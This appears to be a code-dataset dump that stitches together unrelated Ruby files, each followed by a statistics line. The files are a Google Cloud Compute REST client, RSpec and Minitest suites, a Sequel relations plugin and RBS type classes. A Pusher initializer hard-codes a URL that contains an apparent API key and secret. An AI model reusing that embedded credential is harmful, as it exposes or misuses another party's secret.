result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the resize REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::ResizeInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_resize_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers/#{request_pb.instance_group_manager}/resize"
body = nil
query_string_params = {}
query_string_params["requestId"] = request_pb.request_id.to_s if request_pb.has_request_id?
query_string_params["size"] = request_pb.size.to_s
[uri, body, query_string_params]
end
##
# Baseline implementation for the set_instance_template REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::SetInstanceTemplateInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
# A result object deserialized from the server's reply
def set_instance_template request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, body, query_string_params = transcode_set_instance_template_request request_pb
response = @client_stub.make_post_request(
uri: uri,
body: body,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the set_instance_template REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::SetInstanceTemplateInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_set_instance_template_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers/#{request_pb.instance_group_manager}/setInstanceTemplate"
body = request_pb.instance_group_managers_set_instance_template_request_resource.to_json
query_string_params = {}
query_string_params["requestId"] = request_pb.request_id.to_s if request_pb.has_request_id?
[uri, body, query_string_params]
end
##
# Baseline implementation for the set_target_pools REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::SetTargetPoolsInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
# A result object deserialized from the server's reply
def set_target_pools request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, body, query_string_params = transcode_set_target_pools_request request_pb
response = @client_stub.make_post_request(
uri: uri,
body: body,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the set_target_pools REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::SetTargetPoolsInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_set_target_pools_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers/#{request_pb.instance_group_manager}/setTargetPools"
body = request_pb.instance_group_managers_set_target_pools_request_resource.to_json
query_string_params = {}
query_string_params["requestId"] = request_pb.request_id.to_s if request_pb.has_request_id?
[uri, body, query_string_params]
end
##
# Baseline implementation for the update_per_instance_configs REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::UpdatePerInstanceConfigsInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
# A result object deserialized from the server's reply
def update_per_instance_configs request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, body, query_string_params = transcode_update_per_instance_configs_request request_pb
response = @client_stub.make_post_request(
uri: uri,
body: body,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the update_per_instance_configs REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::UpdatePerInstanceConfigsInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_update_per_instance_configs_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers/#{request_pb.instance_group_manager}/updatePerInstanceConfigs"
body = request_pb.instance_group_managers_update_per_instance_configs_req_resource.to_json
query_string_params = {}
query_string_params["requestId"] = request_pb.request_id.to_s if request_pb.has_request_id?
[uri, body, query_string_params]
end
end
end
end
end
end
end
end
| 54.769231 | 175 | 0.603202 |
4a66a188101c88e6526dc6add450d907c3bb188c | 1,591 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe 'Commands / Delete' do
include_context 'container'
include_context 'users and tasks'
subject(:users) { container.commands.users }
before do
configuration.relation(:users) do
def by_name(name)
restrict(name: name)
end
end
end
it 'deletes all tuples when there is no restriction' do
configuration.commands(:users) do
define(:delete)
end
result = users.delete.call
expect(result).to match_array([
{ name: 'Jane', email: '[email protected]' },
{ name: 'Joe', email: '[email protected]' }
])
expect(container.relations[:users]).to match_array([])
end
it 'deletes tuples matching restriction' do
configuration.commands(:users) do
define(:delete)
end
result = users.delete.by_name('Joe').call
expect(result).to match_array([{ name: 'Joe', email: '[email protected]' }])
expect(container.relations[:users]).to match_array([
{ name: 'Jane', email: '[email protected]' }
])
end
it 'returns untouched relation if there are no tuples to delete' do
configuration.commands(:users) do
define(:delete)
end
result = users.delete.by_name('Not here').call
expect(result).to match_array([])
end
it 'returns deleted tuple when result is set to :one' do
configuration.commands(:users) do
define(:delete_one, type: :delete) do
result :one
end
end
result = users.delete_one.by_name('Jane').call
expect(result).to eql(name: 'Jane', email: '[email protected]')
end
end
| 22.728571 | 74 | 0.650534 |
bf838eb8b7d179745747d8d36cb0989b10bdecef | 4,078 | # frozen_string_literal: true
require 'test_helper'
module Nls
module EndpointInterpret
class TestLtras < NlsTestCommon
def setup
super
Nls.remove_all_packages
Interpretation.default_locale = nil
ltras_package = Package.new('ltras')
ltras = ltras_package.new_interpretation('ltras')
ltras << Expression.new('swimming pool with spa for 3 people and sea view')
Nls.package_update(ltras_package)
parse_package = Package.new('parse')
ltras = parse_package.new_interpretation('parse')
ltras << Expression.new('abc123def,i:jklm456opq;')
Nls.package_update(parse_package)
@locale_package = Package.new('locale')
ltras = @locale_package.new_interpretation('locale_en')
ltras << Expression.new('complicated', locale: 'en')
ltras = @locale_package.new_interpretation('locale_fr')
ltras << Expression.new('complicates', locale: 'fr')
Nls.package_update(@locale_package)
@ltras_simple_package = Package.new('ltras_simple')
ltras_simple = @ltras_simple_package.new_interpretation('ltras_simple')
ltras_simple << Expression.new('swimming')
Nls.package_update(@ltras_simple_package)
end
def test_ltras_single_words
sentence = 'with a nice swimmang poool with spa for 3 peoople and sea vieew'
check_interpret(sentence, interpretation: 'ltras', score: 0.94, spellchecking: :low)
end
def test_ltras_simple_locale
sentence = 'complicate'
check_interpret(sentence, locale: 'en', packages: [@locale_package], interpretation: 'locale_en', score: 0.9, spellchecking: :high)
check_interpret(sentence, locale: 'fr', packages: [@locale_package], interpretation: 'locale_fr', score: 0.9, spellchecking: :high)
end
def test_ltras_simple_level
package = @ltras_simple_package
# inactive
sentence = 'swimming'
check_interpret(sentence, packages: [package], interpretation: 'ltras_simple', score: 1.0, spellchecking: :inactive)
sentence = 'swiming'
check_interpret(sentence, packages: [package], interpretation: nil, score: 1.0, spellchecking: :inactive)
# low
sentence = 'swiming'
check_interpret(sentence, packages: [package], interpretation: 'ltras_simple', score: 0.97, spellchecking: :low)
sentence = 'swimmming'
check_interpret(sentence, packages: [package], interpretation: 'ltras_simple', score: 0.97, spellchecking: :low)
sentence = 'swimmminng'
check_interpret(sentence, packages: [package], interpretation: 'ltras_simple', score: 0.95, spellchecking: :low)
sentence = 'swimmang'
check_interpret(sentence, packages: [package], interpretation: 'ltras_simple', score: 0.90, spellchecking: :low)
sentence = 'swimmmang'
check_interpret(sentence, packages: [package], interpretation: nil, spellchecking: :low)
sentence = 'svimmang'
check_interpret(sentence, packages: [package], interpretation: nil, spellchecking: :low)
# medium
sentence = 'svimmang'
check_interpret(sentence, packages: [package], interpretation: 'ltras_simple', score: 0.86, spellchecking: :medium)
sentence = 'svimmmang'
check_interpret(sentence, packages: [package], interpretation: nil, spellchecking: :medium)
# high
sentence = 'svimmmang'
check_interpret(sentence, packages: [package], interpretation: 'ltras_simple', score: 0.85, spellchecking: :high)
sentence = 'svimmmanng'
check_interpret(sentence, packages: [package], interpretation: 'ltras_simple', score: 0.85, spellchecking: :high)
sentence = 'svimmman'
check_interpret(sentence, packages: [package], interpretation: nil, spellchecking: :high)
end
def test_complexe_parsing
sentence = 'abc 123 def , i : jklm 456 opq ;'
check_interpret(sentence, interpretation: 'parse', score: 1.0)
end
end
end
end
| 38.471698 | 139 | 0.675576 |
4ab5acbaaecffba4c6e392c80ac447b32695281e | 5,919 | module Sequel::Plugins::VcapRelations
# Depend on the instance_hooks plugin.
def self.apply(model)
model.plugin(:instance_hooks)
end
module InstanceMethods
def has_one_to_many?(association)
association_type(association) == :one_to_many && send(association).count > 0
end
def has_one_to_one?(association)
association_type(association) == :one_to_one && !!send(association)
end
def association_type(association)
self.class.association_reflection(association)[:type]
end
def relationship_dataset(association)
reflection = self.class.association_reflection(association)
if (dataset = reflection[:dataset])
if dataset.arity == 1
instance_exec(reflection, &dataset)
else
instance_exec(&dataset)
end
else
reflection.associated_class.dataset
end
end
end
module ClassMethods
# Override many_to_one in order to add <relation>_guid
# and <relation>_guid= methods.
#
# See the default many_to_one implementation for a description of the args
# and return values.
def many_to_one(name, opts={})
unless opts.fetch(:without_guid_generation, false)
define_guid_accessors(name)
end
opts[:reciprocal] ||= self.name.split('::').last.underscore.pluralize.to_sym
super
end
# Override many_to_many in order to add an override the default Sequel
# methods for many_to_many relationships.
#
# In particular, this enables support of bulk modifying relationships.
#
# See the default many_to_many implementation for a description of the args
# and return values.
def many_to_many(name, opts={})
singular_name = name.to_s.singularize
ids_attr = "#{singular_name}_ids"
guids_attr = "#{singular_name}_guids"
define_method("add_#{singular_name}") do |other|
# sequel is not capable of merging adds to a many_to_many association
# like it is for a one_to_many and nds up throwing a db exception,
# so lets squash the add
if other.is_a?(Integer)
super(other) unless send(ids_attr).include? other
else
super(other) unless send(name).include? other
end
end
opts[:reciprocal] ||=
self.name.split('::').last.underscore.pluralize.to_sym
define_to_many_methods(name, singular_name, ids_attr, guids_attr)
super
end
# Override one_to_many in order to add an override the default Sequel
# methods for one_to_many relationships.
#
# In particular, this enables support of bulk modifying relationships.
#
# See the default one_to_many implementation for a description of the args
# and return values.
def one_to_many(name, opts={})
singular_name = name.to_s.singularize
ids_attr = "#{singular_name}_ids"
guids_attr = "#{singular_name}_guids"
opts[:reciprocal] ||= self.name.split('::').last.underscore.to_sym
define_to_many_methods(name, singular_name, ids_attr, guids_attr)
super
end
private
def define_guid_accessors(name)
guid_attr = "#{name}_guid"
define_method(guid_attr) do
other = send(name)
other.guid unless other.nil?
end
define_method("#{guid_attr}=") do |val|
other = nil
if !val.nil?
ar = self.class.association_reflection(name)
other = ar.associated_class[guid: val]
raise VCAP::Errors::ApiError.new_from_details('InvalidRelation', "Could not find #{ar.associated_class.name} with guid: #{val}") if other.nil?
end
send("#{name}=", other)
end
end
def define_to_many_methods(name, singular_name, ids_attr, guids_attr)
diff_collections = proc do |a, b|
cur_set = Set.new(a)
new_set = Set.new(b)
intersection = cur_set & new_set
added = new_set - intersection
removed = cur_set - intersection
[added, removed]
end
define_method(ids_attr) do
send(name).collect(&:id)
end
# greppable: add_domain_by_guid
define_method("add_#{singular_name}_by_guid") do |guid|
ar = self.class.association_reflection(name)
other = ar.associated_class[guid: guid]
raise VCAP::Errors::ApiError.new_from_details('InvalidRelation', "Could not find #{ar.associated_class.name} with guid: #{guid}") if other.nil?
if pk
send("add_#{singular_name}", other)
else
after_save_hook { send("add_#{singular_name}", other) }
end
end
define_method("#{ids_attr}=") do |ids|
return unless ids
ds = send(name)
ds.each { |r| send("remove_#{singular_name}", r) unless ids.include?(r.id) }
ids.each { |i| send("add_#{singular_name}", i) }
end
define_method("#{guids_attr}") do
send(name).collect(&:guid)
end
define_method("#{guids_attr}=") do |guids|
return unless guids
current_guids = send(name).map(&:guid)
(added, removed) = diff_collections.call(current_guids, guids)
added.each { |g| send("add_#{singular_name}_by_guid", g) }
removed.each { |g| send("remove_#{singular_name}_by_guid", g) }
end
define_method("remove_#{singular_name}_by_guid") do |guid|
ar = self.class.association_reflection(name)
other = ar.associated_class[guid: guid]
raise VCAP::Errors::ApiError.new_from_details('InvalidRelation', "Could not find #{ar.associated_class.name} with guid: #{guid}") if other.nil?
send("remove_#{singular_name}", other)
end
define_method("remove_#{singular_name}") do |other|
if other.is_a?(Integer)
super(other) if send(ids_attr).include? other
else
super(other) if send(name).include? other
end
end
end
end
end
| 32.344262 | 152 | 0.647576 |
4a44f3274dcd1b2932db17449997af1b9a25bc16 | 141 | require 'pusher'
Pusher.url = "http://136065ba56ec3683eddd:[email protected]/apps/108919"
Pusher.logger = Rails.logger
| 28.2 | 93 | 0.808511 |
e8ab97d051f465e5f275036b52d47cd1ba5e2513 | 711 | require_relative "boot"
require "rails/all"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module MunchkinHelper
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 7.0
# Configuration for the application, engines, and railties goes here.
#
# These settings can be overridden in specific environments using the files
# in config/environments, which are processed later.
#
# config.time_zone = "Central Time (US & Canada)"
# config.eager_load_paths << Rails.root.join("extras")
end
end
| 30.913043 | 79 | 0.739803 |
91306b0b5db73c45131ceb7af1ebc089f2ab789f | 26,029 | module RBS
module Types
module NoFreeVariables
def free_variables(set = Set.new)
set
end
end
module NoSubst
def sub(s)
self
end
end
module NoTypeName
def map_type_name
self
end
end
module EmptyEachType
def each_type
if block_given?
# nop
else
enum_for :each_type
end
end
end
module Bases
class Base
attr_reader :location
def initialize(location:)
@location = location
end
def ==(other)
other.is_a?(self.class)
end
def hash
self.class.hash
end
alias eql? ==
include NoFreeVariables
include NoSubst
include EmptyEachType
include NoTypeName
def to_json(state = _ = nil)
klass = to_s.to_sym
{ class: klass, location: location }.to_json(state)
end
def to_s(level = 0)
case self
when Types::Bases::Bool
'bool'
when Types::Bases::Void
'void'
when Types::Bases::Any
'untyped'
when Types::Bases::Nil
'nil'
when Types::Bases::Top
'top'
when Types::Bases::Bottom
'bot'
when Types::Bases::Self
'self'
when Types::Bases::Instance
'instance'
when Types::Bases::Class
'class'
else
raise "Unexpected base type: #{inspect}"
end
end
end
class Bool < Base; end
class Void < Base; end
class Any < Base; end
class Nil < Base; end
class Top < Base; end
class Bottom < Base; end
class Self < Base; end
class Instance < Base
def sub(s)
s.apply(self)
end
end
class Class < Base; end
end
class Variable
attr_reader :name
attr_reader :location
include NoTypeName
def initialize(name:, location:)
@name = name
@location = location
end
def ==(other)
other.is_a?(Variable) && other.name == name
end
alias eql? ==
def hash
self.class.hash ^ name.hash
end
def free_variables(set = Set.new)
set.tap do
set << name
end
end
def to_json(state = _ = nil)
{ class: :variable, name: name, location: location }.to_json(state)
end
def sub(s)
s.apply(self)
end
def self.build(v)
case v
when Symbol
new(name: v, location: nil)
when Array
v.map {|x| new(name: x, location: nil) }
end
end
@@count = 0
def self.fresh(v = :T)
@@count = @@count + 1
new(name: :"#{v}@#{@@count}", location: nil)
end
def to_s(level = 0)
name.to_s
end
include EmptyEachType
end
class ClassSingleton
attr_reader :name
attr_reader :location
def initialize(name:, location:)
@name = name
@location = location
end
def ==(other)
other.is_a?(ClassSingleton) && other.name == name
end
alias eql? ==
def hash
self.class.hash ^ name.hash
end
include NoFreeVariables
include NoSubst
def to_json(state = _ = nil)
{ class: :class_singleton, name: name, location: location }.to_json(state)
end
def to_s(level = 0)
"singleton(#{name})"
end
include EmptyEachType
def map_type_name
ClassSingleton.new(
name: yield(name, location, self),
location: location
)
end
end
module Application
attr_reader :name
attr_reader :args
def ==(other)
other.is_a?(self.class) && other.name == name && other.args == args
end
alias eql? ==
def hash
self.class.hash ^ name.hash ^ args.hash
end
def free_variables(set = Set.new)
set.tap do
args.each do |arg|
arg.free_variables(set)
end
end
end
def to_s(level = 0)
if args.empty?
name.to_s
else
"#{name}[#{args.join(", ")}]"
end
end
def each_type(&block)
if block
args.each(&block)
else
enum_for :each_type
end
end
end
class Interface
attr_reader :location
include Application
def initialize(name:, args:, location:)
@name = name
@args = args
@location = location
end
def to_json(state = _ = nil)
{ class: :interface, name: name, args: args, location: location }.to_json(state)
end
def sub(s)
self.class.new(name: name,
args: args.map {|ty| ty.sub(s) },
location: location)
end
def map_type_name(&block)
Interface.new(
name: yield(name, location, self),
args: args.map {|type| type.map_type_name(&block) },
location: location
)
end
end
class ClassInstance
attr_reader :location
include Application
def initialize(name:, args:, location:)
@name = name
@args = args
@location = location
end
def to_json(state = _ = nil)
{ class: :class_instance, name: name, args: args, location: location }.to_json(state)
end
def sub(s)
self.class.new(name: name,
args: args.map {|ty| ty.sub(s) },
location: location)
end
def map_type_name(&block)
ClassInstance.new(
name: yield(name, location, self),
args: args.map {|type| type.map_type_name(&block) },
location: location
)
end
end
class Alias
attr_reader :location
include Application
def initialize(name:, args:, location:)
@name = name
@args = args
@location = location
end
def to_json(state = _ = nil)
{ class: :alias, name: name, args: args, location: location }.to_json(state)
end
def sub(s)
Alias.new(name: name, args: args.map {|ty| ty.sub(s) }, location: location)
end
def map_type_name(&block)
Alias.new(
name: yield(name, location, self),
args: args.map {|arg| arg.map_type_name(&block) },
location: location
)
end
end
class Tuple
attr_reader :types
attr_reader :location
def initialize(types:, location:)
@types = types
@location = location
end
def ==(other)
other.is_a?(Tuple) && other.types == types
end
alias eql? ==
def hash
self.class.hash ^ types.hash
end
def free_variables(set = Set.new)
set.tap do
types.each do |type|
type.free_variables set
end
end
end
def to_json(state = _ = nil)
{ class: :tuple, types: types, location: location }.to_json(state)
end
def sub(s)
self.class.new(types: types.map {|ty| ty.sub(s) },
location: location)
end
def to_s(level = 0)
if types.empty?
"[ ]"
else
"[ #{types.join(", ")} ]"
end
end
def each_type(&block)
if block
types.each(&block)
else
enum_for :each_type
end
end
def map_type_name(&block)
Tuple.new(
types: types.map {|type| type.map_type_name(&block) },
location: location
)
end
end
class Record
attr_reader :fields
attr_reader :location
def initialize(fields:, location:)
@fields = fields
@location = location
end
def ==(other)
other.is_a?(Record) && other.fields == fields
end
alias eql? ==
def hash
self.class.hash ^ fields.hash
end
def free_variables(set = Set.new)
set.tap do
fields.each_value do |type|
type.free_variables set
end
end
end
def to_json(state = _ = nil)
{ class: :record, fields: fields, location: location }.to_json(state)
end
def sub(s)
self.class.new(fields: fields.transform_values {|ty| ty.sub(s) },
location: location)
end
def to_s(level = 0)
return "{ }" if self.fields.empty?
fields = self.fields.map do |key, type|
if key.is_a?(Symbol) && key.match?(/\A[A-Za-z_][A-Za-z_]*\z/)
"#{key}: #{type}"
else
"#{key.inspect} => #{type}"
end
end
"{ #{fields.join(", ")} }"
end
def each_type(&block)
if block
fields.each_value(&block)
else
enum_for :each_type
end
end
def map_type_name(&block)
Record.new(
fields: fields.transform_values {|ty| ty.map_type_name(&block) },
location: location
)
end
end
class Optional
attr_reader :type
attr_reader :location
def initialize(type:, location:)
@type = type
@location = location
end
def ==(other)
other.is_a?(Optional) && other.type == type
end
alias eql? ==
def hash
self.class.hash ^ type.hash
end
def free_variables(set = Set.new)
type.free_variables(set)
end
def to_json(state = _ = nil)
{ class: :optional, type: type, location: location }.to_json(state)
end
def sub(s)
self.class.new(type: type.sub(s), location: location)
end
def to_s(level = 0)
case t = type
when RBS::Types::Literal
case t.literal
when Symbol
return "#{type.to_s(1)} ?"
end
end
"#{type.to_s(1)}?"
end
def each_type
if block_given?
yield type
else
enum_for :each_type
end
end
def map_type_name(&block)
Optional.new(
type: type.map_type_name(&block),
location: location
)
end
end
class Union
attr_reader :types
attr_reader :location
def initialize(types:, location:)
@types = types
@location = location
end
def ==(other)
other.is_a?(Union) && other.types == types
end
alias eql? ==
def hash
self.class.hash ^ types.hash
end
def free_variables(set = Set.new)
set.tap do
types.each do |type|
type.free_variables set
end
end
end
def to_json(state = _ = nil)
{ class: :union, types: types, location: location }.to_json(state)
end
def sub(s)
self.class.new(types: types.map {|ty| ty.sub(s) },
location: location)
end
def to_s(level = 0)
if level > 0
"(#{types.join(" | ")})"
else
types.join(" | ")
end
end
def each_type(&block)
if block
types.each(&block)
else
enum_for :each_type
end
end
def map_type(&block)
if block
Union.new(types: types.map(&block), location: location)
else
enum_for :map_type
end
end
def map_type_name(&block)
Union.new(
types: types.map {|type| type.map_type_name(&block) },
location: location
)
end
end
class Intersection
attr_reader :types
attr_reader :location
def initialize(types:, location:)
@types = types
@location = location
end
def ==(other)
other.is_a?(Intersection) && other.types == types
end
alias eql? ==
def hash
self.class.hash ^ types.hash
end
def free_variables(set = Set.new)
set.tap do
types.each do |type|
type.free_variables set
end
end
end
def to_json(state = _ = nil)
{ class: :intersection, types: types, location: location }.to_json(state)
end
def sub(s)
self.class.new(types: types.map {|ty| ty.sub(s) },
location: location)
end
def to_s(level = 0)
strs = types.map {|ty| ty.to_s(2) }
if level > 0
"(#{strs.join(" & ")})"
else
strs.join(" & ")
end
end
def each_type(&block)
if block
types.each(&block)
else
enum_for :each_type
end
end
def map_type(&block)
if block
Intersection.new(types: types.map(&block), location: location)
else
enum_for :map_type
end
end
def map_type_name(&block)
Intersection.new(
types: types.map {|type| type.map_type_name(&block) },
location: location
)
end
end
class Function
class Param
attr_reader :type
attr_reader :name
attr_reader :location
def initialize(type:, name:, location: nil)
@type = type
@name = name
@location = location
end
def ==(other)
other.is_a?(Param) && other.type == type && other.name == name
end
alias eql? ==
def hash
self.class.hash ^ type.hash ^ name.hash
end
def map_type(&block)
if block
Param.new(name: name, type: yield(type), location: location)
else
enum_for :map_type
end
end
def to_json(state = _ = nil)
{ type: type, name: name }.to_json(state)
end
def to_s
if name
if Parser::KEYWORDS.include?(name.to_s)
"#{type} `#{name}`"
else
"#{type} #{name}"
end
else
"#{type}"
end
end
end
attr_reader :required_positionals
attr_reader :optional_positionals
attr_reader :rest_positionals
attr_reader :trailing_positionals
attr_reader :required_keywords
attr_reader :optional_keywords
attr_reader :rest_keywords
attr_reader :return_type
def initialize(required_positionals:, optional_positionals:, rest_positionals:, trailing_positionals:, required_keywords:, optional_keywords:, rest_keywords:, return_type:)
@return_type = return_type
@required_positionals = required_positionals
@optional_positionals = optional_positionals
@rest_positionals = rest_positionals
@trailing_positionals = trailing_positionals
@required_keywords = required_keywords
@optional_keywords = optional_keywords
@rest_keywords = rest_keywords
end
def ==(other)
other.is_a?(Function) &&
other.required_positionals == required_positionals &&
other.optional_positionals == optional_positionals &&
other.rest_positionals == rest_positionals &&
other.trailing_positionals == trailing_positionals &&
other.required_keywords == required_keywords &&
other.optional_keywords == optional_keywords &&
other.rest_keywords == rest_keywords &&
other.return_type == return_type
end
alias eql? ==
def hash
self.class.hash ^
required_positionals.hash ^
optional_positionals.hash ^
rest_positionals.hash ^
trailing_positionals.hash ^
required_keywords.hash ^
optional_keywords.hash ^
rest_keywords.hash ^
return_type.hash
end
def free_variables(set = Set.new)
set.tap do
required_positionals.each do |param|
param.type.free_variables(set)
end
optional_positionals.each do |param|
param.type.free_variables(set)
end
rest_positionals&.yield_self do |param|
param.type.free_variables(set)
end
trailing_positionals.each do |param|
param.type.free_variables(set)
end
required_keywords.each_value do |param|
param.type.free_variables(set)
end
optional_keywords.each_value do |param|
param.type.free_variables(set)
end
rest_keywords&.yield_self do |param|
param.type.free_variables(set)
end
return_type.free_variables(set)
end
end
def map_type(&block)
if block
Function.new(
required_positionals: required_positionals.map {|param| param.map_type(&block) },
optional_positionals: optional_positionals.map {|param| param.map_type(&block) },
rest_positionals: rest_positionals&.yield_self {|param| param.map_type(&block) },
trailing_positionals: trailing_positionals.map {|param| param.map_type(&block) },
required_keywords: required_keywords.transform_values {|param| param.map_type(&block) },
optional_keywords: optional_keywords.transform_values {|param| param.map_type(&block) },
rest_keywords: rest_keywords&.yield_self {|param| param.map_type(&block) },
return_type: yield(return_type)
)
else
enum_for :map_type
end
end
def map_type_name(&block)
map_type do |type|
type.map_type_name(&block)
end
end
def each_type
if block_given?
required_positionals.each {|param| yield param.type }
optional_positionals.each {|param| yield param.type }
rest_positionals&.yield_self {|param| yield param.type }
trailing_positionals.each {|param| yield param.type }
required_keywords.each_value {|param| yield param.type }
optional_keywords.each_value {|param| yield param.type }
rest_keywords&.yield_self {|param| yield param.type }
yield(return_type)
else
enum_for :each_type
end
end
def each_param(&block)
if block
required_positionals.each(&block)
optional_positionals.each(&block)
rest_positionals&.yield_self(&block)
trailing_positionals.each(&block)
required_keywords.each_value(&block)
optional_keywords.each_value(&block)
rest_keywords&.yield_self(&block)
else
enum_for :each_param
end
end
def to_json(state = _ = nil)
{
required_positionals: required_positionals,
optional_positionals: optional_positionals,
rest_positionals: rest_positionals,
trailing_positionals: trailing_positionals,
required_keywords: required_keywords,
optional_keywords: optional_keywords,
rest_keywords: rest_keywords,
return_type: return_type
}.to_json(state)
end
def sub(s)
map_type {|ty| ty.sub(s) }
end
def self.empty(return_type)
Function.new(
required_positionals: [],
optional_positionals: [],
rest_positionals: nil,
trailing_positionals: [],
required_keywords: {},
optional_keywords: {},
rest_keywords: nil,
return_type: return_type
)
end
def with_return_type(type)
Function.new(
required_positionals: required_positionals,
optional_positionals: optional_positionals,
rest_positionals: rest_positionals,
trailing_positionals: trailing_positionals,
required_keywords: required_keywords,
optional_keywords: optional_keywords,
rest_keywords: rest_keywords,
return_type: type
)
end
def update(required_positionals: self.required_positionals, optional_positionals: self.optional_positionals, rest_positionals: self.rest_positionals, trailing_positionals: self.trailing_positionals,
required_keywords: self.required_keywords, optional_keywords: self.optional_keywords, rest_keywords: self.rest_keywords, return_type: self.return_type)
Function.new(
required_positionals: required_positionals,
optional_positionals: optional_positionals,
rest_positionals: rest_positionals,
trailing_positionals: trailing_positionals,
required_keywords: required_keywords,
optional_keywords: optional_keywords,
rest_keywords: rest_keywords,
return_type: return_type
)
end
def empty?
required_positionals.empty? &&
optional_positionals.empty? &&
!rest_positionals &&
trailing_positionals.empty? &&
required_keywords.empty? &&
optional_keywords.empty? &&
!rest_keywords
end
def param_to_s
# @type var params: Array[String]
params = []
params.push(*required_positionals.map(&:to_s))
params.push(*optional_positionals.map {|p| "?#{p}"})
params.push("*#{rest_positionals}") if rest_positionals
params.push(*trailing_positionals.map(&:to_s))
params.push(*required_keywords.map {|name, param| "#{name}: #{param}" })
params.push(*optional_keywords.map {|name, param| "?#{name}: #{param}" })
params.push("**#{rest_keywords}") if rest_keywords
params.join(", ")
end
def return_to_s
return_type.to_s(1)
end
def drop_head
case
when !required_positionals.empty?
[
required_positionals[0],
update(required_positionals: required_positionals.drop(1))
]
when !optional_positionals.empty?
[
optional_positionals[0],
update(optional_positionals: optional_positionals.drop(1))
]
else
raise "Cannot #drop_head"
end
end
def drop_tail
case
when !trailing_positionals.empty?
last = trailing_positionals.last or raise
[
last,
update(trailing_positionals: trailing_positionals.take(trailing_positionals.size - 1))
]
else
raise "Cannot #drop_tail"
end
end
def has_keyword?
if !required_keywords.empty? || !optional_keywords.empty? || rest_keywords
true
else
false
end
end
end
class Block
attr_reader :type
attr_reader :required
def initialize(type:, required:)
@type = type
@required = required ? true : false
end
def ==(other)
other.is_a?(Block) &&
other.type == type &&
other.required == required
end
def to_json(state = _ = nil)
{
type: type,
required: required
}.to_json(state)
end
def sub(s)
self.class.new(
type: type.sub(s),
required: required
)
end
def map_type(&block)
Block.new(
required: required,
type: type.map_type(&block)
)
end
end
class Proc
attr_reader :type
attr_reader :block
attr_reader :location
def initialize(location:, type:, block:)
@type = type
@block = block
@location = location
end
def ==(other)
other.is_a?(Proc) && other.type == type && other.block == block
end
alias eql? ==
def hash
self.class.hash ^ type.hash ^ block.hash
end
def free_variables(set = Set[])
type.free_variables(set)
block&.type&.free_variables(set)
set
end
def to_json(state = _ = nil)
{
class: :proc,
type: type,
block: block,
location: location
}.to_json(state)
end
def sub(s)
self.class.new(type: type.sub(s), block: block&.sub(s), location: location)
end
def to_s(level = 0)
case
when b = block
if b.required
"^(#{type.param_to_s}) { (#{b.type.param_to_s}) -> #{b.type.return_to_s} } -> #{type.return_to_s}"
else
"^(#{type.param_to_s}) ?{ (#{b.type.param_to_s}) -> #{b.type.return_to_s} } -> #{type.return_to_s}"
end
else
"^(#{type.param_to_s}) -> #{type.return_to_s}"
end
end
def each_type(&block)
if block
type.each_type(&block)
self.block&.type&.each_type(&block)
else
enum_for :each_type
end
end
def map_type_name(&block)
Proc.new(
type: type.map_type_name(&block),
block: self.block&.map_type {|type| type.map_type_name(&block) },
location: location
)
end
end
class Literal
attr_reader :literal
attr_reader :location
def initialize(literal:, location:)
@literal = literal
@location = location
end
